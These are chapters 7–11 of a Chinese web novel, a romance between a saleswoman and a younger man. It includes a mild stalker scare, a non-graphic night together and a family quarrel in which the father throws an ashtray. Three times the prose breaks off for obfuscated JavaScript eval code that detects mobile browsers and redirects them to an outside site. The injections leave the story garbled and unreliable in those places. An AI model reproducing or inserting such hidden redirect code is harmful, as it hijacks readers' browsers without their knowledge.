《被甩的年下男成了顶头上司后》 7. 第七章 第二天晚上七点,沈孟青先一步到了便利店。 天色将暗未暗,夕阳余晖还没完全褪去,给街边小巷镀上一层暖金色的边框。 她拿了两瓶茶饮,坐在窗户旁的座位边喝边等。 便利店里响起开门音乐时,沈孟青朝门口看去,目光准确无误地落在余辛身上。 他今天穿的是黑色冲锋衣,拉链被他拉到了顶,堪堪抵在下巴下方,走路时会发出衣料摩擦的声音,整个人带着雨后微凉的气息,湿漉漉的。 像只出去玩了半天回来找主人的小狗,身上有在潮湿草地里打过滚的味道。 余辛径直走到沈孟青身边坐下,动作干脆利落地将材料往桌上一放:“给你。” 沈孟青手边的东西就多了,先是把文件袋物归原主,再是雨伞,最后是一瓶饮料。 “想吃点什么吗,我请你,我还没吃晚饭呢。”沈孟青肚子饿得快瘪了。 余辛盯着她看了会,手指往桌上一叩:“愈生给你开的工资很低吗?” 沈孟青:“啊?还好吧。” 这是什么没头没脑的问题。 余辛:“那你怎么天天吃便利店。” 沈孟青理解了一会余辛的话意,说:“也是,请你吃便利店好像太便宜了点,要不我们在附近找个餐厅?” 余辛:“……不用了,就便利店吧。” 这人真是变来变去的,沈孟青心想,如果余辛是她的客户,那他一定是她职业生涯的一道坎,棘手得很。 沈孟青站起身来:“你想吃点什么?关东煮?便当?” “随便,你觉得好吃的就行,我不饿。”余辛也跟着她去挑选食物。 头一回和余辛这么并肩走路,沈孟青仰视着看了眼,感觉他的身高至少有一米八八。 沈孟青在收银台点了两份拌面,又挑了点热食,两手满满当当的回了座位。 这会外头已然昏暗,透过玻璃窗看外头,像是在看黑白默剧,窗户上映照出他们两人模糊的身影,和窗外匆匆的人流交织在一起。 余辛吃饭很慢条斯理,沈孟青第一次见对待食物如此冷静自持的人,在他身旁,她都不自觉放慢了吃饭的速度,没吃多久就饱了。 开门的提示音再次响起,一对学生情侣走了进来,两人买了些吃的后,坐在了沈孟青和余辛背后的座位。 女孩刷了会手机,说道:“你快看,这附近好像有变态男,这个帖子的评论区里有好多女生遇见了。” 男孩凑过去看了眼,揽过女孩道:“别怕宝贝,有我在呢。” “我们吃完饭还是早点回家吧。”女孩害怕地说。 沈孟青没在意到这两人的对话,见余辛也放下了筷子,她有些不好意思地说道:“今天实在太饿了,就在这里将就一顿。下次,我请你吃别的。” 余辛似是在走神,愣了一下后,说道:“不用,味道还不错。我们走吧。” 两人收拾好了垃圾,出了便利店。 走到小区和斑马线的交界处,沈孟青停下脚步,打算和余辛说再见。 谁料,余辛还在往前走,直到多走了两三步后才察觉身边人的影子不见了。 他转过身,沈孟青站在斑马线前一动不动。 “怎么不走了?”他问道。 沈孟青说:“你家住前面吗?” 余辛:“不是。” 沈孟青:“那你这是去哪。” 余辛伫立在惨白的路灯下,冷冽的声音清晰传入沈孟青耳中。 “送你回家。” 沈孟青以为自己听错了,重复了一遍余辛的话:“送我回家?” 余辛看见不远处人行道的红绿灯转绿,周围的所有人都是动态的,只有他和沈孟青静止着。 他将视线移回沈孟青的脸上,闷闷嗯了声。 沈孟青嘴角一弯,眼里忽地散出璀璨的光芒,快走几步到余辛身边,生怕他跑了似的。 “我们走吧。” 她不打算问余辛为什么要送她回家,不想破坏这倏然微妙的气氛。 “对了。”她侧过头问道,“你怎么知道我的电话号码?” 余辛从容地回答说:“那天在酒吧警察留了你电话,我看了一眼,记下来了。” 说完,他抬手摸了摸鼻梢。 这也不算说谎,那次他的确记住了沈孟青电话,只不过昨晚又找姜羽确认了一下罢了。 沈孟青感叹说:“你记性还挺好的。” 沈孟青租的小区是交付几十年的居民楼了,户型面积不大,但对她一人来说是绰绰有余了,在北城这种寸土寸金的地方,要不是这房东是她爸爸年轻时认识的好友,她这五千的预算只够和别人合租的。 这里的住户大多都是本地人,尤其是中老年人多,他们筑了窝便不愿挪。早些年,特别多骗子混进小区卖三无保健品,骗了不少大爷大妈的钱,所以小区物业在之后升级过好几次治安系统,现在进小区都得扫脸进门。 只不过,设备简陋了些。 给行人出入的地方就一个小铁门,扫完脸了要等识别系统卡个两三秒,随后铁门咔哒一声响开了锁,门弹开一个缝,沈孟青拉开门,五金上生锈的地方发出尖锐的声音。 进了小区,道路变窄了很多。 沈孟青鬼使神差地向余辛再走近了些,不时打量他几眼。晚风拂过,带来他身上淡淡的香味。 一开始,她还会装装样子,看余辛久了,就扭头看看小区里的树又蹿了个个儿,坏掉的喷泉不知道什么时候被修好了,没朝气地吐着水。 后来,她懒得移开眼,没脸没皮、光明正大地端详起来。 经过一盏盏路灯,灯光在余辛脸上投下明明暗暗的光影,沈孟青搜刮了很久脑子里的词汇量,最后将他的长相定位成一杯鸡尾酒,前调是薄荷叶,清冷独特,随后被糖浆柔化,水果柠檬的明亮滋味释放出来,余味悠长带甘,她越品越中意。 他面部的每一个线条走向都长在沈孟青的审美点上,特别是在光亮下才会变得明显的浅棕色瞳孔,令黑白线条组成的五官顿时有了生命。 姜羽说的对,如果早上一睁眼就是这张帅脸,这得多爽啊。 她很想体验一下。 “看够了么?”余辛冷冷扫了她眼。 沈孟青坦坦荡荡地说:“没呢,你让我再看会儿。” 余辛没办法,干脆当她是空气。 这个点很多爷爷奶奶在楼下的椅子上纳凉,大老远见沈孟青回来了,热情地打着招呼。 “小沈回来了,前几天你给我拿的膏药我贴了,这膝盖啊好多了,下雨也不痛。不过我老伴最近老是晚上睡不好,你看看该吃什么药啊?” 沈孟青笑着说:“钱大爷,您回头把具体的症状详细点告诉我,我去问我们单位的医生,到时候直接拿药给您,和以前一样。” 钱大爷说:“好嘞好嘞,又得麻烦你了。” “嗐,这都小事。” 沈孟青见余辛还站在一边,对他说道:“我就住这栋楼,你回去吧。谢谢你啊,护花使者。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406580|184500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 余辛抬头瞥了下眼前这栋不过□□层的楼房,神情淡地向沈孟青道了别,抬脚没入黑夜中。 钱大爷的老伴就坐在旁边,方才就眼尖地瞧见沈孟青走过来时身边跟着一人,凑近一看,还是个大帅哥,长得跟电视机里的明星似的。 等人走了,她捶背的手一停,八卦地说道:“小沈,这是你爱人吧?” “爱人?”钱大爷垂首沉思了会,“不是吧,和以前那小伙子长得不像啊。” 沈孟青忍俊不禁地说:“爷爷奶奶,我现在是单身了。” “哎哟,单身好呀,我老觉得之前那个小伙子面相不好,年纪轻轻看起来心事很重的样子,不适合你。”钱大爷的老伴说,“那刚才那个帅哥,是不是在追你呀?你对人家有点意思吧?” 沈孟青讶然:“奶奶,这都被您看出来了?” “奶奶我又不是没年轻过,你看那帅哥的眼神里明明白白地写着你心思呢,人看着不错,挺精神的,可以多接触接触。” “那奶奶您可得祝我心想事成。” 沈孟青和爷爷奶奶聊完,心情极好地哼着歌上了楼。 …… 睡前,姜羽转发了一条网上的热门推文给她,标题写着【福江路附近惊现变态!】 沈孟青住的小区就在福江路,她翻阅了下推文里的图片,有好几张都是在她小区门口拍的。 姜羽说:「阿青,你一个人回家要小心啊,梁扒皮最近压榨你,你天天加班,晚上一定要多注意。」 沈孟青想起晚上余辛突然提出要送她,难道,是因为看见了这个推文。 她想,余辛简直就是只刺猬,总是用冷冰冰的尖刺包裹在自己的外皮,以尖锐刺人的模样对待事物,内里的柔软,从不轻易示人,做了好事也不会宣之于口,如果没被发现,那就一辈子烂肚子里。 像是不希望有人靠近他一般。 而沈孟青呢,做着销售的工作,被人狠狠坑过,也被人施以援手,形形色色的人中,她反倒最喜欢这种外冷内热的。自打她得以窥见几次余辛不经意的善意,他外表的那层尖壳在沈孟青眼里,不过是光打雷不下雨,虚张声势罢了。 沈孟青给姜羽回复说:「放心吧,我楼下住的大爷一拳三个。」 - 虽然嘴上开着玩笑,沈孟青心里确实难免害怕,之后几天一到下班时间,她就打卡走了,没做完的工作就带回家再干。 直到有一天要开研讨会,她被迫快十一点才下班。 本来姜羽说好了要送她回家,结果接到个电话说是老同学临时组了个局,人直接来公司楼下接她了,她不得不去。姜羽特别担心,就把自己的车留给了沈孟青,让沈孟青开她车回家。 坐在姜羽的车上,沈孟青连上自己的手机蓝牙,车载音乐骤然一响,她忽然特别想有一辆自己的车。 反正也不用攒钱和林向阳买房了,目前的存款足够,找个时间去提辆新车好了。 开车只用十几分钟,沈孟青回到家,发现前两天攒的垃圾袋还没扔。 她把包放进家里后,拽起垃圾袋打好的结,坐电梯下到一楼,出门走了几步路到垃圾集中区,她刚把袋子一抛准备往回走,背后昏暗的树丛里猝不及防地蹿出一个人。 沈孟青被吓得还来不及惊叫出声,视野里又闪现出一个人把前头那人两三下制服在墙上,动弹不得。 被死死按在墙上的人把头转向沈孟青这边,一把鼻涕一把泪地说:“燕燕,你不要和我分手啊,我离不开你,呜呜呜……” 8. 第八章 “?” 沈孟青壮着胆走近了几步。 哭着的男人看清她的长相后,泣声一停,呆愣着说:“你是谁啊?” “这个问题应该我来问你吧?”沈孟青无语地说,她差点都要脱下高跟鞋,往这人脸上一砸了。 她目光往上一移,和余辛的视线相撞。 他比身前的男人高出了半个头,小臂狠狠卡在男人的后颈处,将他压在墙壁上,任男人怎么挣扎,他都没有移动分毫。 沈孟青两手一抱,端出一副拷问的姿态,故意逗弄地对他说:“说说吧,你又为什么在这里。” “……路过。” 他想不出别的借口。 “哦,路过啊——”沈孟青刻意拉长尾音,“路过来看我这破旧小区的夜景,还是来看大爷大妈下围棋。” 余辛看出来了沈孟青不信他这瞎编乱造的鬼话,懒得再解释了。 男人拍了拍余辛的胳膊,苦着脸说:“大哥,您能不能先松开我再唠嗑啊?” 余辛闻言,垂下了手,缄默地注视着男人,像是不太相信他是好人。 他说:“你是这里的住户?” 男人揉了揉酸痛的肩颈,摇摇头说:“是啊,只不过被我女朋友赶出来了,所以这不是来求她原谅嘛。我真不是啥坏人,刚才是看这妹子身形太像我女朋友,我认错人了。” “你前几天在这楼下鬼鬼祟祟的,就是为了这事?”余辛眉骨一皱,追问说。 男人说:“不然呢?不是,我哪里鬼鬼祟祟的了,我那是不想被别人看见,维护身为男人的尊严!” 沈孟青在一旁听着这两人一问一答,插话说:“前几天?” 她轻笑一声,目光灼灼地看向余辛:“你一直在担心我?” 余辛暗道不妙,正想找个由头脱身,沈孟青不给他机会,径直道:“你,跟我上楼。” 他看了眼手表,说:“太晚了吧。” “你不觉得欠我一个解释吗?”沈孟青笑意渐浓,“而且,你见义勇为这么多次了,我不得好好答谢一下。” 男人在二人身上来回瞟了好几眼,很有眼力见地把余辛往前一推:“哥,您好好解释解释,别和我一样犯错。” 他还给余辛使了个加油的眼色,鼓励他好好表现。 沈孟青已然迈步往回走了,余辛心一横,跟了上去。 他把手揣进兜里,明明是入夜微凉的天,他的手心竟然沁出丝丝薄汗,仰头一看,是月明星稀的夜,明天想必是晴空万里。 老楼房的电梯是十几二十年前装的了,承载不超过九人,有些狭窄,等门一关,空气在密闭的空间中流转,沈孟青闻见余辛身上若有若无的酒味,混杂着木质调的清冷,出乎意料得好闻。 “喝酒了?”她的声音在嗡嗡运转的电梯中响起。 余辛一怔,而后轻嗯一声。 他其实没喝多少。 沈孟青打开了家门,抽出一双干净的拖鞋给余辛,说:“男士拖鞋前段时间我全扔了,这双是最大的,可能你穿着有点小,忍忍。” “照片也扔了?” 他下意识地接话说,等说出口,又感觉这话听起来他在吃醋似的。 沈孟青又笑了起来,她现在心情很好,仿佛那个加班了四个小时的人不是她。 她叉着腰说:“扔了,您要不进屋里检查一下?” 余辛耸了耸肩,表示投降。 沈孟青打开冰箱,后脑勺对着余辛,捣鼓着问他:“饿不饿,我打算煮碗馄饨。” 余辛胃里空空,残余的酒烧着心,不是很舒服,诚实地说:“有点。” “好,你先在沙发上坐会,我去煮。” 沈孟青进了厨房。 余辛在沙发上坐下,四处环视了下沈孟青这个略小却温馨的小窝,她的东西很多,但是都被整整齐齐地放在收纳柜里,柜子上还摆了各种各样可爱的小物件,不难看出,她一定是去哪旅游都要买点纪念品的人。 茶几上摆了束新鲜的小雏菊,花叶上还沾着几滴晶莹水珠,垫在茶几上的桌布是浅黄色格纹的,很春天。整个屋子里的色调都是暖的,余辛想起自己租的房子里都是冷色的灰黑白,常年不见光,和这里全然两个极端。 没什么事做,他往口袋里一掏,想拿手机出来玩,却发现口袋里空空如也。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406581|184500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他把手机落车上了。 这事像是一根木棍敲在他头上,令他的脑子清醒了些,意识到了自己有多反常。余辛往柔软的沙发一靠,下巴微杨,下颌线清晰又锋利,浓密的睫毛遮盖住他的眼眸,看不清眼里的情绪。 厨房推拉门开到底的清脆声打断了他的走神,沈孟青端着两碗热腾腾的馄饨走了出来,在茶几上放下后,她抽回手捏住耳垂降温。 沈孟青从沙发底下抽出两团毛茸茸的蒲团,伸手说:“请吧。” 余辛疑惑地说:“在这吃?” 沈孟青点点头,率先做了个示范,往地上一坐,捧着馄饨汤吹凉了些,而后轻轻抿了口汤:“这样吃可香了。” 说完,她拿着遥控器开了电视,屏幕上播放着重映的古早偶像剧。 客随主便,余辛学着沈孟青坐到地上,不过他的腿实在太长,只能费劲地盘坐起来,沈孟青感觉他的动作笨拙得好笑。 一时安静,房间里除了电视机的声音,就只剩两人吃馄饨的咀嚼声。 沈孟青的厨艺比余辛想象中好很多,她在馄饨的汤里加了小虾米和紫菜,再加以葱姜增鲜,吃下去之后,有一股暖流涌入身体的每一个细胞。 电视机里演到女主和父母家庭合睦的场景,两人都有点不自然地移开了眼。 沈孟青先注意到了余辛的小动作,察觉到他似乎不是很开心,问道:“是馄饨不好吃吗?” “不是。”余辛否认说。 沈孟青说:“锅里还有一些,你要不拿碗打包回去给你家里人带点?” 余辛搅了搅清澈的汤,将勺子一搁,说:“我一个人住。” 沈孟青:“你也不是本地人?” “我是本地人。”余辛沉默了片刻,平静地说,“我爸妈很早就离婚了,我一直一个人住。” 他说这话时手肘往后一放,上半身懒散地倚着沙发,眼眸低垂,暖黄色的灯洒在他身上,照得他雪亮,眸里盈盈浅浅的情绪快要溢出,破碎感十足,让人有种想要抱住他的冲动。 沈孟青对着这副皮囊看得鬼迷心窍,她心想,如果是在酒吧,她一定会为他砸钱点个香槟call。 9. 第九章 沈孟青望着余辛拧成一团的漂亮眉眼,两手环抱住膝盖说:“其实,我也差不多吧。” “我爸爸在我高中的时候生病去世了,他病了很多年,自打我记事起,他身体就很虚弱,每天恹恹的,只有提起北城他才会精神些。他年轻时是北城的一个三甲医院的主任医师,挺出名的,很多人挂他的号,可能是天妒英才吧,让他得了特别罕见的一种病,我到现在都记不全那个病的名字,只记得他每次治疗都很痛苦,也没什么可以彻底医治的办法,只能短时间内压住一阵。” “得了这病,他没法再上班,还得不停治疗,家里捉襟见肘,只好搬回了老家。不过那段日子也挺幸福的,我每天放学回家都有人陪,家里人都很爱我,可惜,我爸的身体越来越差。” “是不是挺可笑的,他特别热爱医生这个工作,但是自己却成为了绝症病人,医者没法自医。” 沈孟青说话的声音很轻,语气带着淡淡的感伤,圆润的眼睛放空着,像是被抽走了灵魂。 这时候的她和平日里判若两人。 沈孟青灵魂回笼,意识到话题太压抑,她又笑了起来,五官变回鲜活的神采,这样灿烂明媚的笑意,任是冬日再厚重的冰雪也会融化。 “都过去了,我要在北城替他好好生活。” 她侧头看向余辛,四目相对时,余辛眼眸逐渐幽深,一颗浅棕色的星球在他眼眶中自转,转而又变成黑洞,要将沈孟青的所有情绪包裹着她的身体吸纳进去。 气氛凝滞间,屋里的灯光忽地一灭,连冰箱运转的声音都停止了。 两人之间暗暗流转的氛围也就此消散,沈孟青错愕地出声说:“停电了?” 余辛按了按电视遥控器,说:“应该是。” “你等会,我去拿根蜡烛。” 沈孟青打开手机的手电筒,走进了厨房。 她打开上层的一个柜子,拿出蜡烛和打火机,腾不出手拿手机,她随手放在了厨房。 打火机太久没用,沈孟青摁了好几下出不来火,她边往客厅走着,边努力点火。眼前太黑,她一下胳膊撞到桌子,一下脚踢到凳子,一路上咚咚哐哐拆家似的。 余辛听见她几声闷哼,不放心地循着声源走过去,嘴上问着:“找到蜡烛了么?” 刚走几步,他就撞上一具温软的身体。 他重新站稳脚步,下一秒,打火机啪地燃起一团火焰,照亮眼前沈孟青姣好的面庞。 点好了蜡烛,沈孟青举起给余辛看,似是在展示战利品一般,双眼如星辰般亮晶晶的,让余辛想起他曾经养过的那只金毛傻狗,也喜欢这样满怀期待地看着他,等着他拍拍脑袋。 余辛觉得心里最柔软的一块地方什么东西击中了。 黑暗中,沈孟青定定地看着缄默不语的余辛,手往身旁一落,将蜡烛放在了餐桌上。 这一定是她做过最冲动的事情,沈孟青想,她感觉到自己覆上余辛的唇,触感和她想象中一样的冰冷又酥软。 对于她突如其来的靠近,余辛先是没反应过来,只觉唇上一热,有春日花香传来。随即,他伸手扶住她瘦削的肩膀,到底还是没推开,自愿登上这艘由她主掌方向的远洋轮渡。 两人吻得逐渐投入,唇齿交织间,沈孟青犹如溺入看不见底的深海,被汹涌浪潮席卷,在咸湿海水中浮浮沉沉,喘不过气。 余辛身上雨后青木的味道完完全全灌入她的每一个感官,沈孟青的手攀上余辛的背,透着衣服面料,抚摸到他坚实的背部肌肉,温度灼热。 心脏快要跳出胸膛,满腔的悸动犹如在宣告,她已经等这一刻很久了。 沈孟青的手不老实,从后背滑到余辛腹部,轻轻抚上他手感很好的腹肌,分心数着有几块。 她纤细的手指像是在肆无忌惮地开拓疆土,一路往上游走,余辛卫衣的下沿也被她撩起。 即便房间里只有一支蜡烛亮着,沈孟青也能借着这微弱的光芒,看见余辛眼里被她一把柴一扇风烧起来的烈火。她将余辛放在她肩上的手叩至她不盈一握的腰间,余辛轻笑了一声,被她的举动逗乐,目光仿佛要将她吞噬。 两人交缠着离开餐桌,跌跌撞撞地走到客厅,倒在沙发上,茶几摇摇晃,装小雏菊的花瓶失去平衡,掉在地上,呲啦碎了一地,水珠有几滴溅到脸上,却没有一人停下。 就在余辛抬手褪去上衣时,门猛然被人敲响。 两人这才如受惊的小猫一般,停下动作。 沈孟青整理了下衣服,扯下发绳将早已凌乱的微卷长发垂在肩前,起身说:“我去看看。” 她打开门,门口站着一脸忧心的钱大爷,他手上还提着个油灯,说道:“小沈啊,你没事吧 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她再往下一看,手上一滞,震惊地开口道:“你比我小了快三岁?!” 沈孟青上小学是在老家,托关系比其他小孩早了一年上学,直到研究生毕业都是班上最小的那一个,她习惯性默认身边人都比自己大,更别说身为女人,她都还没接受已经二十八岁的事实,总感觉自己才刚满二十岁,这会见到个小三岁的,她有种带坏小孩的感觉。 余辛是有几分年轻的清爽气,但沈孟青以为那是他这种长相的优势,没想到是真的这么小,不过读研究生的年纪。 余辛抽走自己的身份证,放回兜里,顺势站起身,淡淡然说:“走了。” 沈孟青听见门打开又关上的声音,方才证件上的那双眼睛在她脑海中不断浮现,一次又一次刺激着她的神经。 她下定决心,放下油灯,夺门而出。 她鞋都没换,赤脚跑到电梯间,用出生以来最大的力气把余辛拽回了家。 关上门后,她紧紧把余辛逼至门边。 “怎么,不嫌我年纪小了?”余辛垂下头说。 “闭嘴吧。”沈孟青盯着他说,“小几岁我也认了。” 已经吻过一次,她踮起脚,轻车熟路地迎了上去。 10. 第十章 依旧没有来电,蜡烛的火苗一窜一窜的,飘着袅袅的白烟,无声地融入夜里,不敢惊扰。 沈孟青摸着黑将余辛引至卧室,漆黑的屋子里,只有轻微的喘息声和热吻的水花声,碍事的衣物被凌乱地丢弃在地上,余辛的黑色卫衣完全包裹着沈孟青的丝质衬衫裙。 她伸手抵住余辛心口的位置,隔着他坚实的胸膛,顺着温热的肌肤血管感受到他心脏的跳动,情迷意乱地低头亲吻了一下他的喉结,再将嘴唇移动至她最爱的那双眼睛,这会,那里头流动着欲/念的颜色,是禁果化开的春水,她踏入进去,水位不断上涨,涌入她的鼻腔。 他纤长的睫毛扫在敏感的唇上,酥酥麻麻的触电感一路延至头皮,让沈孟青愈发沉沦。 汗液被激发出来,浸湿两人的头发,紧密地缠绕在一起,呼吸起伏逐渐同频。 他们没有说话,却格外得合拍,沈孟青雪白的手腕箍在余辛的肩上,指尖紧扣,小腿微蜷,潮起潮落,她已经数不清第几次被余辛推至汹涌浪尖,失去了浑身的力气,在海水的反复洗刷下,如获新生。 她从没有过这种体验,这令她深感新鲜,余辛似乎带领她来到了一个全新的世界,这里每一处都让她沉沦。 时间静悄悄走到下半夜,沈孟青疲累地昏睡过去。 余辛睁着双眼睛,没什么睡意,抽开床头柜,拿出一包烟。 沈孟青像是有奇怪的强迫症,方形盒子的东西都被她收纳在这个柜子里,余辛是在她拿套的注意到的。 烟放在床头柜,打火机却放在厨房,不用猜都知道她平常根本不抽烟,那这些烟是前男友落下的,还是出去工作给客户准备的,余辛懒得细想。 他起身走到客厅找到了打火机,用食指和中指捏着一支烟去了阳台。 回国之后他很久没抽烟了,因为生活一片混沌,也没什么值得他清醒一下的时刻。 这还是头一回。 烟头冒出星星点点的光亮,这个季节竟然就有了知了,此起彼伏地嘤呜叫着。 余辛凝望着明灭的火星,靠在围栏边,垂头思索着今夜这次冲动行为。 …… 第二天早上,沈孟青悠悠转醒,她一睁眼,就看见余辛帅气十足的睡颜。 确实爽啊,姜羽说得太对了! 她伸出手指抚上余辛的眉骨,顺着他高耸的鼻梁,摸至挺翘的鼻尖,刚一停住,才发现余辛双眸直勾勾地盯着她看。 沈孟青收回手,问道:“什么时候醒的。” “刚刚。” 余辛的嗓音有些暗哑,还挺勾人。 沈孟青忽地往前一凑,闻了闻说:“你抽烟了?” 余辛轻轻嗯了一声。 她下意识皱了下眉,说:“下次别抽了,我不喜欢。” “那你还在床头柜放烟?”余辛无语道。 沈孟青说:“都是谈事儿的时候给客户抽的,我自己不抽,所以放别的地方老是忘记。” “哦,和那东西放一起就不会忘了。” 余辛语气冷冷的,沈孟青听出来一丝嘲讽的意味,面上瞪了他一眼,还不忘在被子里踹一脚。 又沉默下来,沈孟青起身换衣服,准备出门上班,余辛瞥她一眼,问道:“所以我们……?” 沈孟青回头看了眼他,说道:“哦,我们以后就这样相处怎么样。” “哪样?”余辛有点茫然。 “你肯定不是真的多喜欢我,我呢暂时也还不想谈恋爱,不如有需要的时候就见个面,反正大家都是成年人了,这样的关系更适合我们,你觉得呢?” 沈孟青一脸正经地说着。 余辛就这么面无表情地凝视了沈孟青一会,而后也站起身来,表情又冷又硬,和冰锥子似的,眼刀能给人扎出洞。 “是啊,反正我不喜欢你,我觉得挺好。” 他话锋一转,又说:“对了,把你床头柜那破盒子扔了,以后买大一号的。” 沈孟青也不知道哪惹到了他,这话听起来有点报复的意思,她少见的脸上一热,在心里暗啐他一句。 那盒确实不是她新买的,是之前忘了扔的。 她理亏地迅速将盒子扔进垃圾篓里,在手机上重新下单。 - 余辛出了沈孟青的家,一双长腿迈得飞快,脸色阴暗得像黑云压城,看着十分不好惹。 他在小区门口找到了车,开门坐了上去。 余辛伸手搭上方向盘,另一只手拿起手机,屏幕亮起,居然有十几个未接电话,全都来自他的父亲,余莫成,愈生医药的董事长。 他又将手机摁灭,一脚油门往宽阔马路驶去。 大概开了二十多分钟,车辆缓缓驶入一个市中心的高档别墅小区,小区外头用大理石砌了密不透风的墙,私密性极强。 余辛开着车,七拐八拐进了一栋别墅,驶过一块巨大的修剪齐整的绿色草坪,停好车走了下来。 穿过一弧巨大的喷泉,再走上几层台阶,他推开大门,保姆陈姨正擦拭着门口的置物柜,望见余辛来了,招呼说:“回来了,你爸在客厅等着你呢。” 余辛把手一揣,将痞拽的气质尽数释放出来,往客厅走去。 余莫成坐在沙发上喝茶,不时捂住嘴咳嗽几声,他的身体确实越来越不乐观了,不用医生说他也能感觉到。 余辛在不远处站了会,等余莫成咳得没那么厉害了,他才提脚走过去,在离余莫成最远的一个沙发坐下。 余莫成喝了口茶,一个眼神都没给余辛,威严却不减 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406583|184500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他说:“昨晚去哪了。” 余辛叉开腿,简洁地回答说:“同学聚会。” “我问的是同学聚会之后。”余莫成这才看向他,眼里辨不清喜怒,“你半路离开后去哪了。” 余辛不意外他知道自己的行踪,诚心和他对着干一般,神色也骤冷下来,丝毫不怕他的威压:“我本来就不在这里住,你管我去哪了。” 余莫成说:“我再问你一次,你去哪了。” “去找女人睡觉了。”余辛笑得一副情场浪子的模样,说,“您满意了?” 余辛话音刚落,下一秒,余莫成抄起桌上的烟灰缸,径直朝余辛扔了过去。 准头很不错,砸到了余辛的嘴角,他的嘴唇瞬间撕裂开一个小口,流出鲜红的血来,还肿起了一块包。 陈姨端水进来的时候,正好看见这一番场景,她默默退回去拿医药箱,等爷俩吵完给余辛上药。 余莫成这下彻底气极,浑身血液涌上脑门,咳个不停,好不容易平复下来,嗓子却哑了,沉着声音说:“我和你说的话你一点都没听进去是吧!你必须尽快给我结婚,就从我之前给你找的相亲的人里挑,不管是谁。我看那个祝梨梨就不错,人家是真心喜欢你,而且祝家背景深,和他们联姻,愈生一定不会出岔子。” “我不需要联姻。”余辛态度坚硬地说。 余莫成深吐一口气,哼笑一声:“你根本不知道,没有姻亲的帮助,一个人会走得多么艰难。当初我也是像你这样,一眼爱上在酒店当服务员的你妈,你妈是个孤儿,家里一穷二白,我被爱情蒙蔽了头脑,不顾家里人阻拦娶她回家。结果呢,你也知道,你出生没多久我们就大吵小吵不断,你妈和我离婚,抛弃你搬出去,这些年不论是照顾你还是经营公司,都是我一个人在扛。你刚从国外回来,不找个有背景的妻家,怎么坐得稳我这个位置!” 余辛看向余莫成,语气里带了一种偏执:“她不是抛弃我,她那时候根本没有能力抚养我,再说了,您好像也没照顾我什么吧。” “那你回去找她啊,她如今有了新的儿女,看还认不认你这个儿子!” 最亲近的人总能知道怎么往对方身上捅刀子最痛,余莫成的这一句话,击垮了余辛防御自己最后的那一垒城墙。 他站了起来,再也不愿听下去,拿背对着余莫成,说:“我们家这情况,以前上学的时候,闲言碎语我听得不比你少。如果你不是愈生的董事长,如果我们家只是普通家庭,还会是现在这个样子吗。” “你那个恶心的公司,我一点都不会碰,它就是我们家痛苦的根源。这张卡里头的钱比从小到大你花在我身上的钱只多不少,你给过我的我全都还你。” 余辛甩下一张银行卡,摔门而出,开车离开了别墅。 11. 第十一章 余辛出国的第一年就在打工,后来积攒到了一些钱就学着自己创业,这些年下来收入还算可观,回来后靠着职业经理人在那边打理,每个月也有不少进账。 不过,这些钱都在那张卡里了,给了余莫成后,他也不剩多少存款。 十字路口,川流不息。红绿灯上的时间倒数到一,绿灯亮起,余辛漫无目的地随着前头的车走。 过了立夏,道路旁的花却越开越盛,五颜六色的,争先闯入行人的视线,余辛眼里几道闪过繁茂的花景,没来由地想起沈孟青,想起她身上热烈馥郁的气息。 他在脑海里勾勒出沈孟青清晰的模样,一双圆润且含着水光的眼眸,小巧的翘鼻,和那总是带着笑的桃色粉唇。 她皮肤白嫩,没什么瑕疵,所以不常化浓妆,看起来只在眉眼、两腮和嘴唇点了些颜色,很显小的长相,但足以透出她灵动的俏丽。仔细一看,脸上还隐隐带了股难得的韧性。 他又想起第一次见到她时,见她脸色绯红地在揉眼睛,便以为她在哭。 看着她的脸,余辛莫名想起白桃味的瓶装汽水,这女人哭起来的模样就和那汽水外包装上桃子差不多。 想着想着,他耳边蓦地响起她那句“我们以后就这样相处”,思绪很快又被一股烦躁压了下去。 在国外留学时,余辛见过不少开放的女生,那会他还留着身份证上劲劲儿的寸头,看谁都冰冷无比,俯瞰众生似的。有些人背后骂他是装逼,谁都瞧不起,但大部分人,尤其是女生,对他这副禁/欲拽酷的样子欲罢不能,想骗他个吻甚至骗他炮的人能从宿舍排到入境海关。 但他从没谈过恋爱,连暧昧都从来没体会过,他觉得实在太没意思了。 没想到,有人比他还没意思。 不谈恋爱只上/床,真是没意思透了。 余辛心情差到极点,不自觉加重了踩油门的力度,还好前面道路空旷,就他这提速的动静,旁边电线杆上的麻雀都被吓得呜呀乱飞,直到车里响起毫无温度的超速提示音,他才降低了车速。 正巧,祝绍明一个电话打了过来。 “余大少爷,晚上有时间赏脸吃个饭么,我请客。”祝绍明故作轻浮地说。 